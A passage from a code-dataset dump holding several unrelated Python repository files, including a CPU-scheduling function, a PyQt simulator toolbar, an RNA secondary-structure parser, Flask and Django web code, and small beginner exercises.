h[s].Draw('same')\n\nif 0>1:\n run = 4705\n run = 5259\n import ROOT\n import trackTuple\n import rootUtils as ut\n test = trackTuple.TrackReading()\n test.Init(run)\n for n in range(250000): \n test.ExecuteEvent(n)\n\n \n","repo_name":"ThomasRuf/trufatwork","sub_path":"sndlhc/trackTuple.py","file_name":"trackTuple.py","file_ext":"py","file_size_in_byte":18402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"15644462285","text":"print(\"Podaj dwie liczby, które mają zostać dodane.\")\nprint(\"Wpisz 'q', aby zakończyć działanie programu\")\n\nwhile True:\n first_number = input(\"\\nPierwsza liczba: \")\n if first_number == 'q':\n break\n second_number = input(\"\\nDruga liczba: \")\n if second_number == 'q':\n break\n try:\n answer = int(first_number) + int(second_number)\n except TypeError:\n print(\"Podano tekst, zamiast liczby!\")\n else:\n print(answer)\n","repo_name":"ppoz21/Python---intrukcje-dla-programisty","sub_path":"Część I - podstawy/10. Pliki i wyjątki/zadania/10.7.py","file_name":"10.7.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"4731406587","text":"import logging\nfrom typing import List\nfrom utilities import *\n\n\ndef fcfs(processes: List[Process]) -> Gantt:\n \"\"\"\n Executes `processes` according to the FCFS algorithm.\n\n Should return a list of SubProcess, which is the final result.\n \"\"\"\n gantt = Gantt()\n\n if not len(processes):\n return gantt\n\n totalBurst = total_burst(processes)\n # print(f\"total burst: {totalBurst}\")\n time = 0\n\n while totalBurst:\n earliestProc = None\n\n for proc in processes:\n if (not proc.isComplete()) and (not earliestProc):\n # print(\"a\")\n earliestProc = proc\n\n if (not proc.isComplete()) and proc.arrTime < earliestProc.arrTime:\n earliestProc = proc\n\n # log error if there is discrepancy\n if not earliestProc:\n logging.error(\"Total Burst != 0 but all processes finished execution\")\n\n currentSubProcess = SubProcess(time, earliestProc.burst, earliestProc)\n currentSubProcess.execute(gantt)\n time += earliestProc.burst\n totalBurst -= earliestProc.burst\n\n return gantt\n\n\nif __name__ == \"__main__\":\n\n # define processes\n processes = temp_proc_list()\n\n gantt = fcfs(processes)\n print(gantt)\n","repo_name":"Vortexx2/cpu-scheduling","sub_path":"fcfs.py","file_name":"fcfs.py","file_ext":"py","file_size_in_byte":1141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"15178973855","text":"import argparse\nfrom utils.data_provider import *\n\nimport matplotlib.pyplot as plt\n\nimport torchvision.transforms as transforms\nfrom PIL import Image\nimport scipy.io\ntorch.manual_seed(0)\n\ndef test_multi(args):\n # model= save_dict['state_dict']\n trans = transforms.ToPILImage()\n torch.manual_seed(0)\n # all_clean_imgs = scipy.io.loadmat(args.gt)['ValidationGtBlocksSrgb']\n all_clean_imgs = scipy.io.loadmat(args.gt)['ValidationNoisyBlocksSrgb']\n i_imgs,i_blocks, _,_,_ = all_clean_imgs.shape\n\n for i_img in range(i_imgs):\n for i_block in range(i_blocks):\n gt = transforms.ToTensor()(Image.fromarray(all_clean_imgs[i_img][i_block]))\n gt = gt.unsqueeze(0)\n # print(pred_i.size())\n # print(pred[0].size())\n if args.save_img != '':\n if not os.path.exists(args.save_img):\n os.makedirs(args.save_img)\n plt.figure(figsize=(15, 15))\n plt.imshow(np.array(trans(gt[0])))\n plt.title(\"NOISY \", fontsize=25)\n image_name = str(i_img) + \"_\" + str(i_block)\n plt.axis(\"off\")\n plt.savefig( os.path.join(args.save_img,image_name + '.png'),pad_inches=0)\n\nif __name__ == \"__main__\":\n # argparse\n parser = argparse.ArgumentParser(description='parameters for training')\n parser.add_argument('--gt','-g', default='data/ValidationNoisyBlocksSrgb.mat', help='path to noise image file')\n parser.add_argument('--save_img', \"-s\" ,default=\"img/validate_noise\", type=str, help='save image in eval_img folder ')\n\n args = parser.parse_args()\n #\n\n test_multi(args)\n","repo_name":"pminhtam/KPN_attention","sub_path":"save_valgt_img.py","file_name":"save_valgt_img.py","file_ext":"py","file_size_in_byte":1658,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"13936258409","text":"from django.urls import path\nfrom .views import *\n\nurlpatterns = [\n path('', index, name='index'),\n path('about/', about, name='about'),\n path('contact/', contact, name='contact'),\n path('products/', product, name='products'),\n path('home2/', home2, name='home2'),\n path('home3/', home3, name='home3'),\n path('blog/', blog, name='blog'),\n path('cart/', shopping_cart, name='cart'),\n path('blog-detail/', blog_detail, name='blog_detail')\n]","repo_name":"Mamarajabov711/online-store","sub_path":"pages/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"5706179279","text":" \nclass exact_open_end():\n def map(self, data, out_rgb, action_record):\n import numpy as np\n import operator\n\n #from strings to operator\n oper = { \">\" : operator.gt, \n \">=\": operator.ge,\n \"<\" : operator.lt,\n \"<=\": operator.le}\n\n #indices of data pts affected by comparison\n inds = np.flatnonzero(oper[self.oper](data, self.val)) \n\n #for exact palettes ends, no values should exceed the palette\n #mark them as -1 for later error catching\n if inds.size != 0 :\n self.bound_error = 1\n\n def __init__(self, val, oper):\n self.val = val\n self.oper = oper\n self.bound_error = 0\n self.action = 'exact'\n\n","repo_name":"dja001/domutils","sub_path":"domutils/legs/col_map_fct/exact_open_end.py","file_name":"exact_open_end.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"32030917322","text":"from PyQt5.QtCore import Qt, QSize\nfrom PyQt5.QtGui import QIcon\nfrom PyQt5.QtWidgets import QToolBar, QLabel, QHBoxLayout, QWidget, QLineEdit, QWidgetAction\nfrom discoverySimulator.Observable import Observable\nfrom discoverySimulator.config import *\nfrom discoverySimulator.interface.components.Button import Button, PlayButton\nfrom discoverySimulator.interface.views.About import About\nfrom discoverySimulator.robots import Robot\n\n\nclass Toolbar(QToolBar,Observable):\n\n __TOOLSBAR_FIXED_HEIGHT = 48\n\n def __init__(self,simulation):\n super().__init__()\n self.setFixedHeight(self.__TOOLSBAR_FIXED_HEIGHT)\n self.setStyleSheet(\"*{background-color: \"+colors[\"steel-gray\"]+\";color:\"+colors[\"gallery\"]+\";border:none;}\"\n \"#widget{border-right:1px solid #4D4D6D; margin-top:8px; margin-bottom:8px;}\")\n\n self.__simulation=simulation\n\n self.__robotTitleWidget=None\n self.__pathFollowingWidget=None\n\n self.setContentsMargins(0,0,0,0)\n self.addWidget(self.__createAboutWidget())\n\n self.addAction(self.__createSectionTitleWidget(\"Simulation\"))\n self.addWidget(self.__createTimerWidget())\n self.addWidget(self.__createAccelerationWidget())\n self.addWidget(self.__createPlayPauseWidget())\n\n self.__robotTitleWidget = self.__createSectionTitleWidget(\"Robot\")\n self.__pathFollowingWidget=self.pathFollowingWidget()\n self.__robotSelected=None\n\n # GETTERS\n\n def getRobotSelected(self) -> Robot:\n return self.__robotSelected\n\n\n def updateTimeElapsed(self,sender):\n time=sender.time()\n hours=int(time//3600)\n time-=hours*3600\n minutes=int(time//60)\n time-=minutes*60\n seconds=time\n\n str=\"\"\n if hours>0:\n str+=f\"{hours}h\"\n if minutes>0 or hours>0:\n str+=f\"{'0' if minutes<10 and hours>0 else ''}{minutes}min\"\n str+=f\"{'0' if seconds<10 and (minutes>0 or hours>0) else ''}{round(seconds,1) if minutes==0 else int(seconds)}s\"\n self._timeElapsed.setText(str)\n\n def __createSectionTitleWidget(self, name=\"\") -> QWidgetAction:\n labelWidget = QWidgetAction(self)\n label=QLabel(name+\":\")\n label.setFont(fonts[\"normal\"])\n label.setStyleSheet(\"color:\"+colors['white']+\"; border-left:1px solid\"+colors['mulled-wine']+\";\")\n label.setContentsMargins(8,0,0,0)\n labelWidget.setDefaultWidget(label)\n return labelWidget\n\n def __createAboutWidget(self) -> QWidget:\n about=QWidget()\n about_layout=QHBoxLayout(about)\n\n about_layout.setSpacing(0)\n about.setContentsMargins(4, 0, 4, 0)\n about_button = Button()\n about_button.setIcon(QIcon(os.path.join(config['ressourcesPath'],'toolbar','about.svg')))\n about_button.setIconSize(QSize(22, 22))\n about_button.clicked.connect(self.__openPopUp)\n about_button.setToolTip(\"About\")\n about_layout.addWidget(about_button)\n about.setFixedHeight(self.__TOOLSBAR_FIXED_HEIGHT)\n\n return about\n\n def __openPopUp(self):\n About()\n\n def __createTimerWidget(self) -> QWidget:\n timer_icon=QLabel()\n timer_icon.setStyleSheet(\"image: url(\"+os.path.join(config['ressourcesPath'],'toolbar','timer.svg').replace('\\\\','/')+\");\"\n \"image-repeat:no-repeat; image-position:center; image-size:contain;\")\n timer_icon.setFixedWidth(16)\n\n timer = QWidget()\n timer.setObjectName(\"widget\")\n timer_layout=QHBoxLayout(timer)\n\n timer_layout.setSpacing(0)\n timer.setContentsMargins(4,0,4,0)\n\n self._timeElapsed=QLabel()\n self._timeElapsed.setStyleSheet(\"margin-left:8px;\")\n\n timer_layout.addWidget(timer_icon)\n timer_layout.addWidget(self._timeElapsed)\n\n timer_layout.setAlignment(Qt.AlignLeft)\n\n self._timeElapsed.setFont(fonts[\"normal\"])\n\n self.updateTimeElapsed(self.__simulation)\n\n return timer\n\n def __createAccelerationWidget(self) -> QWidget:\n accelerationWidget=QWidget()\n accelerationWidget.setObjectName(\"widget\")\n\n layout=QHBoxLayout(accelerationWidget)\n layout.setSpacing(0)\n accelerationWidget.setContentsMargins(4,0,4,0)\n\n decreaseButton = Button()\n decreaseButton.setIcon(QIcon(os.path.join(config['ressourcesPath'],'toolbar','decreaseAcceleration.svg')))\n decreaseButton.setToolTip(\"Decrease Acceleration\")\n decreaseButton.clicked.connect(self.__simulation.decreaseAcceleration)\n\n self.__accelerationTextInput = QLineEdit(f\"x{self.__simulation.getAcceleration()}\")\n self.__accelerationTextInput.setMaxLength(5)\n self.__accelerationTextInput.setFont(fonts[\"normal\"])\n self.__accelerationTextInput.setAlignment(Qt.AlignCenter)\n self.__accelerationTextInput.editingFinished.connect(self.__inputValueAcceleration)\n\n increaseButton=Button()\n increaseButton.setIcon(QIcon(os.path.join(config['ressourcesPath'],'toolbar','increaseAcceleration.svg')))\n increaseButton.setToolTip(\"Increase Acceleration\")\n increaseButton.clicked.connect(self.__simulation.increaseAcceleration)\n\n layout.addWidget(decreaseButton)\n layout.addWidget(self.__accelerationTextInput)\n layout.addWidget(increaseButton)\n\n accelerationWidget.setFixedWidth(132)\n\n return accelerationWidget\n\n def __inputValueAcceleration(self):\n self.__simulation.setAccelerationFromString(self.__accelerationTextInput.text())\n\n def updateAcceleration(self,sender):\n self.__accelerationTextInput.setText(f'x{sender.getAcceleration()}')\n self.__accelerationTextInput.clearFocus()\n\n def __createPlayPauseWidget(self) -> QWidget:\n playWidget = QWidget()\n play_layout=QHBoxLayout(playWidget)\n play_layout.setSpacing(0)\n playWidget.setContentsMargins(4, 0, 4, 0)\n\n playState=self.__simulation.getPlayState()\n self._playPauseButton = PlayButton(playState)\n self._playPauseButton.setToolTip(\"Pause\" if playState else \"Play\")\n self._playPauseButton.clicked.connect(self.__simulation.togglePlayState)\n\n play_layout.addWidget(self._playPauseButton)\n return playWidget\n\n def updatePlayState(self,sender):\n playState=sender.getPlayState()\n self._playPauseButton.setToolTip(\"Pause\" if playState else \"Play\")\n self._playPauseButton.setState(playState)\n\n def robotSelected(self,sender):\n if sender.isSelected():\n self.__robotSelected=sender\n self.__pathFollowingButtonState = False\n self.addAction(self.__robotTitleWidget)\n self.addAction(self.__pathFollowingWidget)\n else:\n self.removeAction(self.__robotTitleWidget)\n self.removeAction(self.__pathFollowingWidget)\n\n def pathFollowingWidget(self) -> QWidgetAction:\n widget=QWidgetAction(self)\n self.__pathFollowingButton = Button()\n widget.setDefaultWidget(self.__pathFollowingButton)\n self.__pathFollowingButton.setIcon(QIcon(os.path.join(config['ressourcesPath'],'toolbar','goTo.svg')))\n self.__pathFollowingButton.setToolTip(\"Go To\")\n self.__pathFollowingButton.clicked.connect(self.__clickedFollowPath)\n return widget\n\n def __clickedFollowPath(self):\n self.__pathFollowingButtonState = not self.__pathFollowingButtonState\n self.__pathFollowingButton.setDown(self.__pathFollowingButtonState)\n self.notifyObservers('followPathSelected')\n\n\n\n","repo_name":"eloiselefebvre/Projet-M1-2021-2022-n-60---Simulateur-robotique","sub_path":"discoverySimulator/interface/views/Toolbar.py","file_name":"Toolbar.py","file_ext":"py","file_size_in_byte":7604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"72348284239","text":"from flask import url_for\nfrom unittest.mock import patch\nimport unittest\nfrom scan_explorer_service.models import Collection, Page, Article\nfrom scan_explorer_service.tests.base import TestCaseDatabase\nfrom scan_explorer_service.models import Base\nimport json\n\nclass TestManifest(TestCaseDatabase):\n\n def create_app(self):\n '''Start the wsgi application'''\n from scan_explorer_service.app import create_app\n return create_app(**{\n 'SQLALCHEMY_DATABASE_URI': self.postgresql_url,\n 'SQLALCHEMY_ECHO': False,\n 'TESTING': True,\n 'PROPAGATE_EXCEPTIONS': True,\n 'TRAP_BAD_REQUEST_ERRORS': True,\n 'PRESERVE_CONTEXT_ON_EXCEPTION': False\n })\n\n def setUp(self):\n Base.metadata.drop_all(bind=self.app.db.engine)\n Base.metadata.create_all(bind=self.app.db.engine)\n\n self.collection = Collection(type = 'type', journal = 'journal', volume = 'volume')\n self.app.db.session.add(self.collection)\n self.app.db.session.commit()\n self.app.db.session.refresh(self.collection)\n\n self.article = Article(bibcode='1988ApJ...333..341R',\n collection_id=self.collection.id)\n self.app.db.session.add(self.article)\n self.app.db.session.commit()\n self.app.db.session.refresh(self.article)\n\n self.page = Page(name='page', collection_id = self.collection.id)\n self.page.width = 1000\n self.page.height = 1000\n self.page.label = 'label'\n self.app.db.session.add(self.page)\n self.app.db.session.commit()\n self.app.db.session.refresh(self.page)\n\n self.article.pages.append(self.page)\n self.app.db.session.commit()\n \n\n def test_get_manifest(self):\n url = url_for(\"manifest.get_manifest\", id=self.article.id)\n r = self.client.get(url)\n data = json.loads(r.data)\n\n self.assertStatus(r, 200)\n self.assertEqual(data['@type'], 'sc:Manifest')\n\n def test_get_canvas(self):\n url = url_for(\"manifest.get_canvas\", page_id=self.page.id)\n r = self.client.get(url)\n data = json.loads(r.data)\n self.assertStatus(r, 200)\n self.assertEqual(data['@type'], 'sc:Canvas')\n\n @patch('opensearchpy.OpenSearch')\n def test_search_article_with_highlight(self, OpenSearch):\n open_search_highlight_response = {\"hits\":{\"total\":{\"value\":1,\"relation\":\"eq\"},\"max_score\":None,\"hits\":[{'_source':{'page_id':self.page.id, 'volume_id':self.page.collection_id, 'page_label':self.page.label, 'page_number': self.page.volume_running_page_num}, \"highlight\":{'text':'some <b>highlighted</b> text'}}]}}\n article_id = self.article.id\n es = OpenSearch.return_value\n es.search.return_value = open_search_highlight_response\n\n url = url_for(\"manifest.search\", id=article_id, q='text')\n r = self.client.get(url)\n data = json.loads(r.data)\n self.assertStatus(r, 200)\n self.assertEqual(data['@type'], 'sc:AnnotationList')\n call_args, call_kwargs = es.search.call_args\n expected_query = {'query': {'bool': {'must': {'query_string': {'query': 'text article_bibcodes:' + article_id, 'default_field': 'text', 'default_operator': 'AND'}}}}, '_source': {'include': ['page_id', 'volume_id', 'page_label', 'page_number']}, 'highlight': {'fields': {'text': {}}, 'type': 'unified'}}\n self.assertEqual(expected_query, call_kwargs.get('body'))\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"adsabs/ADSScanExplorerService","sub_path":"scan_explorer_service/tests/test_manifest.py","file_name":"test_manifest.py","file_ext":"py","file_size_in_byte":3535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"14625097549","text":"from __future__ import annotations\nfrom pyCONTRA.Utilities import *\n\n\nclass SStruct:\n UNPAIRED = 0\n UNKNOWN = -1\n UNKNOWN_POTENTIAL = -1.0\n\n def __init__(self):\n self.names = list()\n self.sequences = list()\n self.mapping = list()\n self.unpaired_potentials = list()\n self.has_struct = False\n self.has_evidence = False\n self.num_data_sources = 1\n self.which_evidence = list()\n \n def __init__(self, sstruct: SStruct):\n self.names = sstruct.names\n self.sequences = sstruct.sequences\n self.mapping = sstruct.mapping\n self.unpaired_potentials = sstruct.unpaired_potentials\n self.has_struct = sstruct.has_struct\n self.has_evidence = sstruct.has_evidence\n self.num_data_sources = sstruct.num_data_sources\n self.which_evidence = sstruct.which_evidence\n\n def __init__(self, filename: str, num_data_sources: int):\n if(type(filename)!=str):\n self.names = filename.names\n self.sequences = filename.sequences\n self.mapping = filename.mapping\n self.unpaired_potentials = filename.unpaired_potentials\n self.has_struct = filename.has_struct\n self.has_evidence = filename.has_evidence\n self.num_data_sources = filename.num_data_sources\n self.which_evidence = filename.which_evidence\n else:\n self.names = list()\n self.sequences = list()\n self.mapping = list()\n self.unpaired_potentials = list()\n self.which_evidence = list()\n self.has_struct = False;\n self.has_evidence = False;\n self.num_data_sources = num_data_sources\n self.Load(filename)\n\n\n def Load(self, filename: str):\n FileFormat = self.AnalyzeFormat(filename)\n if(FileFormat == \"FASTA\"):\n self.LoadFASTA(filename)\n elif(FileFormat == \"BPSEQ\"):\n self.LoadBPSEQ(filename)\n elif (FileFormat == \"RAW\"):\n self.LoadRAW(filename)\n else:\n raise Exception(\"Unable to determine file type.\")\n\n def AnalyzeFormat(self, filename: str):\n try:\n data = open(filename).readlines()\n except:\n raise Exception(\"Unable to open input file: \" + filename)\n s = None\n for i in data:\n if (len(i) > 0):\n s = i\n break\n FileFormat = None\n if(s[0] == \">\"):\n FileFormat = \"FASTA\"\n else:\n iss = s.split(\" \")\n if(iss[0].isnumeric and len(iss[1]) == 1 and iss[2].isnumeric):\n FileFormat = \"BPSEQ\"\n else:\n FileFormat = \"RAW\"\n\n return FileFormat\n\n def LoadFASTA(self, filename: str):\n self.names = list()\n self.sequences = list()\n self.mapping = list()\n try:\n data = open(filename).readlines()\n except:\n raise Exception(\"Unable to open input file: \" + filename)\n\n for i in data:\n s = i.strip()\n if(len(s) == 0):\n continue\n if(s[0] == \">\"):\n self.names.append(s[1:])\n self.sequences.append(\"@\")\n else:\n if(len(self.sequences) == 0):\n raise Exception(\n \"Expected header for FASTA file:\", filename)\n for j in range(len(s)):\n if(s[j] == \" \"):\n continue\n self.sequences[-1] += s[j] # recheck\n\n if(len(self.sequences) == 0):\n raise Exception(\"No sequences read.\")\n if(len(self.sequences[0]) == 1):\n raise Exception(\"Zero-length sequnce read.\")\n for i in self.sequences:\n if(len(i) != len(self.sequences[0])):\n raise Exception(\"Not all sequences have the same length.\")\n\n consensus_found = False\n for i in self.sequences:\n is_consensus = True\n for j in i[1:]:\n if(is_consensus == False):\n break\n if(j.isalpha()):\n is_consensus = False\n if(is_consensus):\n if(consensus_found):\n raise Exception(\n \"More than one consensus base-pairing structure found.\")\n else:\n self.mapping = self.ConvertParensToMapping(self.FilterParens(i))\n self.sequences.pop(1)\n self.names.pop(1)\n consensus_found = True\n continue\n\n if(consensus_found == False):\n self.mapping = [SStruct.UNKNOWN]*len(self.sequences[0])\n else:\n self.has_struct=True\n for i in range(self.num_data_sources):\n self.unpaired_potentials.append([SStruct.UNKNOWN_POTENTIAL]*len(self.sequences[0]))\n self.has_evidence=False\n #self.which_evidence.resize(num_data_sources,false)\n def LoadRAW(self, filename: str):\n self.names = list()\n self.sequences = list()\n self.mapping = list()\n\n self.names.append(filename)\n self.sequences.append(\"@\")\n\n try:\n data = open(filename).readlines()\n except:\n raise Exception(\"Unable to open input file: \" + filename)\n \n for i in data:\n for j in i:\n if(j==\" \"):\n continue\n self.sequences[-1] += j\n\n if(len(self.sequences[0]) == 1):\n raise Exception(\"Zero-length sequence read.\")\n\n\n self.mapping = [SStruct.UNKNOWN for i in range(len(self.sequences))]\n\n def LoadBPSEQ(self, filename: str):\n self.names = list()\n self.sequences = list()\n self.mapping = list()\n\n self.names.append(filename)\n self.sequences.append(\"@\")\n self.mapping.append(SStruct.UNKNOWN)\n\n try:\n data = open(filename).readlines()\n except:\n raise Exception(\"Unable to open input file: \" + filename)\n\n row = 0\n for i in data:\n tokens = i.split()\n if(not tokens[0].isnumeric()):\n raise Exception(\"Could not read row number:\", filename)\n if(tokens[0] <= 0):\n raise Exception(\"Row numbers must be positive:\", filename)\n if(tokens[0] != (row+1)):\n raise Exception(f\"Rows of BPSEQ file must occur in increasing order: {filename}\")\n row = tokens[0]\n\n try:\n tokens[1]\n except:\n raise Exception(\n \"Expected sequence letter after row number:\", filename)\n if(len(tokens[1]) != 1):\n raise Exception(\n \"Expected sequence letter after row number:\", filename)\n ch = tokens[1][0]\n try:\n tokens[2]\n except:\n raise Exception(\n \"Expected mapping letter after sequence letter:\", filename)\n if(not tokens[2].isnumeric()):\n raise Exception(\n \"Could not read matching row number:\", filename)\n if(tokens[2] <= -1):\n raise Exception(\n \"Matching row numbers must be greater than or equal to -1:\", filename)\n self.sequences[-1].append(ch)\n self.mapping.append(tokens[2])\n\n # def LoadBPP2SEQ(self, filename: str):\n # raise Exception(\"Not implemented\")\n\n # def LoadBPP2TSEQ(self, filename: str):\n # raise Exception(\"Not implemented\")\n\n def FilterSequence(self, sequence: str):\n if(sequence[0] != \"@\"):\n raise Exception(\"Improperly formatted sequence.\")\n for i in range(1, len(sequence)):\n if(sequence[i] == \"-\"):\n sequence[i] = \".\"\n break\n\n def FilterParens(self, sequence: str):\n if(sequence[0] != \"@\"):\n raise Exception(\"Improperly formatted sequence.\")\n for i in range(1, len(sequence)):\n if(sequence[i] == \"-\"):\n sequence[i] = \".\"\n break\n elif(sequence[i] == \"?\" or sequence[i] == \".\" or sequence[i] == \"(\" or sequence[i] == \")\"):\n break\n else:\n raise Exception(\n \"Unexpected character {} in parenthesized structure.\".format(sequence[i]))\n\n return sequence\n\n def ConvertParensToMapping(self, parens: str):\n mapping = [SStruct.UNKNOWN for i in range(len(parens))]\n stack = list()\n\n assert parens[0] == \"@\", \"Invalid parenthesized string.\"\n for i in range(1, len(parens)):\n if(parens[i] == \"?\"):\n pass\n # break\n elif(parens[i] == \".\"):\n mapping[i] = UNPAIRED\n # break\n elif(parens[i] == \"(\"):\n stack.append(i)\n # break\n elif(parens[i] == \")\"):\n if(len(stack) == 0):\n raise Exception(\"Parenthesis mismatch.\")\n mapping[i] = stack[-1]\n mapping[stack[-1]] = i\n stack.pop(-1)\n # break\n else:\n raise Exception(\n \"Unexpected character {} in parenthesized structure.\".format(parens[i]))\n if(len(stack) != 0):\n raise Exception(\"Parenthesis mismatch.\")\n\n return mapping\n\n def ConvertMappingToParens(self, mapping: list):\n assert not self.ContainsPseudoknots(\n ), \"Should not attempt to convert a mapping with pseudoknots.\"\n parens = \"@\"\n\n for i in range(1, len(mapping)):\n if (mapping[i] == SStruct.UNKNOWN):\n parens += \"?\"\n elif (mapping[i] == SStruct.UNPAIRED):\n parens += \".\"\n elif (mapping[i] > i):\n parens += \"(\"\n elif (mapping[i] < i):\n parens += \")\"\n else:\n raise Exception(\"Invalid structure.\")\n \n def ConvertMappingToParens(self, mapping):\n parens = \"@\"\n for i in range(1, len(mapping)):\n if(mapping[i]==SStruct.UNKNOWN):\n parens+=\"?\"\n elif (mapping[i] == SStruct.UNPAIRED):\n parens += \".\";\n elif (mapping[i] > i):\n parens += \"(\";\n elif (mapping[i] < i):\n parens += \")\";\n else:\n raise Exception(\"Invalid structure.\")\n return parens\n\n def WriteParens(self):\n for k in range(0, len(self.sequences)):\n print(f\">{self.names[k]}\")\n print(f\"{self.sequences[k][1:]}\")\n \n print(f\">structure\")\n print(self.ConvertMappingToParens(self.mapping)[1:])\n\n def ValidateMapping(self, mapping: list):\n if(len(mapping) == 0 or mapping[0] != SStruct.UNKNOWN):\n raise Exception(\"Invalid mapping.\")\n for i in range(1, len(mapping)):\n if(mapping[i] == SStruct.UNPAIRED or mapping[i] == SStruct.UNKNOWN):\n continue\n if(mapping[i] < 1 or mapping[i] >= len(mapping)):\n raise Exception(\n \"Position {} of sequence maps to invalid psotion\".format(i))\n if(mapping[mapping[i]] != i):\n raise Exception(\n \"Positions {} and {} of sequence do not map to each other.\".format(i, mapping[i]))\n if(mapping[i] == i):\n raise Exception(\n \"Position {} of sequence maps to itself.\".format(i))\n\n def ContainsPseudoknots(self):\n stack = list()\n for i in range(1, len(self.mapping)):\n if(self.mapping[i] == SStruct.UNPAIRED or self.mapping == SStruct.UNKNOWN):\n continue\n if(self.mapping[i] > i):\n stack.append(i)\n elif(self.mapping < i):\n if(stack[-1] == self.mapping[i]):\n stack.pop(-1)\n else:\n return True\n else:\n raise Exception(\n \"Invalid structure: positions may not map to themselves.\")\n\n if(len(stack) != 0):\n raise Exception(\n \"Invalid structure: bad pairings found.\")\n return False\n\n def RemoveNoncomplementaryPairings(self, seq=0):\n if(seq < 0 or seq >= len(self.sequences)):\n raise Exception(\"Refernece to invalid sequence.\")\n assert len(self.sequences[seq]) == len(\n self.mapping), \"Inconsistent lengths.\"\n for i in range(1, len(self.mapping)):\n if(self.mapping[i] > i and not self.IsComplementary(self.sequences[seq][i], self.sequences[seq][mapping[i]])):\n self.mapping[self.mapping[i]] = SStruct.UNPAIRED\n self.mapping[i] = SStruct.UNPAIRED\n\n def WriteBPSEQ(self, outfile, seq=0):\n if(seq < 0 or seq >= len(self.sequences)):\n raise Exception(\"Refernece to invalid sequence.\")\n assert len(self.sequences[seq]) == len(\n self.mapping), \"Inconsistent lengths.\"\n for i in range(1, len(self.mapping)):\n outfile.write(\n str(i)+\" \"+self.sequences[seq][i] + \" \" + self.mapping[i])\n\n # def WriteParens(self, outfile):\n # if(ContainsPseudoknots()):\n # raise Exception(\n # \"Cannot write strucutre containing pseudoknot using parenthesized format.\")\n\n # for i in range(len(self.sequences)):\n # outfile.write(\">\"+self.names[i])\n # outfile.write(self.sequences[i][1:])\n\n # outfile.write(\">structure\")\n # outfile.write(ConvertMappingToParens(self.mapping)[1:])\n\n def ComputePercentIdentity(self):\n pid = 0.0\n for i in range(len(self.sequences)):\n for j in range(i+1, len(self.sequences)):\n identities = 0\n len1 = 0\n len2 = 0\n s = self.sequences[i]\n t = self.sequences[j]\n\n for k in range(len(s)):\n if(s[k].isalpha()):\n len1 += 1\n if(t[k].isalpha()):\n len2 += 1\n if(s[k].isalpha() and s[k].upper() == t[k].upper()):\n identities += 1\n\n den = min(len1, len2)\n if(den == 0):\n pairwise_pid = 0.0\n else:\n pairwise_pid = double(identities) / den\n\n def ComputePositionBasedSequenceWeights(self):\n weights = [0 for i in range(len(self.sequences))]\n counts = [0 for i in range(256)]\n\n for i in range(1, len(self.sequences[0])):\n diversity = 0\n counts = [0 for i in range(len(counts))]\n\n for j in range(0, len(self.sequences)):\n if(counts[self.sequences[j][i]] == 0):\n diversity+=1\n counts[self.sequences[j][i]] += 1\n \n for j in range(len(self.sequences)):\n weights += 1/(diversity * counts[self.sequences[j][i]])\n \n weights /= sum(weights)\n return weights\n \n\n def SetMapping(self, mapping):\n self.mapping = mapping\n self.ValidateMapping(mapping)\n\n def GetNames(self):\n return self.names\n\n def GetSequences(self):\n return self.sequences\n\n def GetMapping(self):\n return self.mapping \n\n def GetUnpairedPotential(self, which: int):\n raise Exception(\"Not implemented\")\n\n def GetPairedPotentials(self, which: int):\n raise Exception(\"Not implemented\")\n\n def GetLength(self):\n return len(self.mapping)-1\n\n def GetNumSequences(self):\n return len(self.sequences)-1\n\n def HasStruct(self):\n return self.has_struct\n\n def HasEvidence(self):\n return self.has_evidence\n \n def HasEvidence(self, which_data: int):\n return self.which_evidence[which_data]","repo_name":"Guardianofgotham/pyCONTRA","sub_path":"pyCONTRA/SStruct.py","file_name":"SStruct.py","file_ext":"py","file_size_in_byte":16115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"9477225803","text":"lista = [[],[],[]]\nsum_even = sum_terc_c = 0\nfor c in range (0, 3):\n for y in range (0, 3):\n lista[c].append(int(input(f'Digite um valor para [{c}, {y}]: ')))\nprint('-='*25)\nfor x in range (0, 3):\n for y in range (0, 3):\n print(f'[ {lista[x][y]:^5} ]', end='')\n print()\nprint('-='*25)\nfor b in lista:\n for n in b:\n if n % 2 == 0:\n sum_even += n\nprint(f'A soma dos valores pares é: {sum_even}.')\nfor c in range(0, 3):\n sum_terc_c += lista[c][2]\nprint(f'A soma dos valores da terceira coluna é: {sum_terc_c}.')\nprint(f'O maior valor da segunda linha é {max(lista[1])}.')\n","repo_name":"genesonio/python","sub_path":"Nova pasta/Exercício 80-89/Exercício 87.py","file_name":"Exercício 87.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"36247064613","text":"from flask import Blueprint, jsonify, json, request\nfrom document.ingredientMacros import IngredientMacros\n\ningredient_bp = Blueprint(\"ingredient\", __name__, url_prefix=\"/api/ingredient\")\n\n\n@ingredient_bp.route(\"/add\")\ndef add_ingredient():\n name = request.args.get(\"name\")\n measurement = request.args.get(\"measurement\")\n carbs = float(request.args.get(\"carbs\"))\n fat = float(request.args.get(\"fat\"))\n protein = float(request.args.get(\"protein\"))\n cal = float(request.args.get(\"cal\"))\n ingredient_macros = IngredientMacros(\n name=name,\n measurement=measurement,\n carbs=carbs,\n fat=fat,\n protein=protein,\n cal=cal\n )\n ingredient_macros.save()\n return 'added'\n\n\n@ingredient_bp.route(\"/get\")\ndef get_ingredient():\n ingredients = []\n for ingredient in 